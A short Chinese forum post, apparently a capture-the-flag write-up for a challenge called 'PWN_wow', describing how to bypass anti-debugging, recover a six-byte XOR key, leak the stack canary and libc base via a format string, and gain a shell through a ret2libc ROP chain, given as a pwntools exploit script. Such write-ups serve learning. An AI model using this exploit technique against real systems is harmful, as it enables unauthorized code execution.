首页
社区
课程
招聘
[原创]第三题 PWN_wow
发表于: 2018-6-21 12:56 2180

[原创]第三题 PWN_wow

2018-6-21 12:56
2180

先patch掉反调,然后单步跟进,发现读入六个字节,然后拿去做异或,修改后面的代码。

 

待修改的代码会出现连续三个一样的字符,猜测应该是00,于是得到输入为evXnaK

 

之后出现一次printf和简单栈溢出,于是先泄漏canary和libc,然后ROP。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def exploit(r):
    r.clean()
    r.send('\x65\x76\x58\x6e\x61\x4b')
    r.clean()
    r.send('%13$p@%15$p'.ljust(26, '#'))
    tmp = r.recvuntil('###', drop=True)
    r.clean()
    tmp = tmp.split('@')
    canary = int(tmp[0], 16)
    libc.address = int(tmp[1], 16) - libc.sym['__libc_start_main'] - 240
    info(canary)
    info('%016x libc.address', libc.address)
    raw_input('#')
    r.send(flat('a'*88, canary, 0, 0x400b23, libc.search('/bin/sh').next(), libc.sym['system']).ljust(0x200, '\x00'))
 
    r.interactive()

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回

账号登录
验证码登录

忘记密码?
没有账号?立即免费注册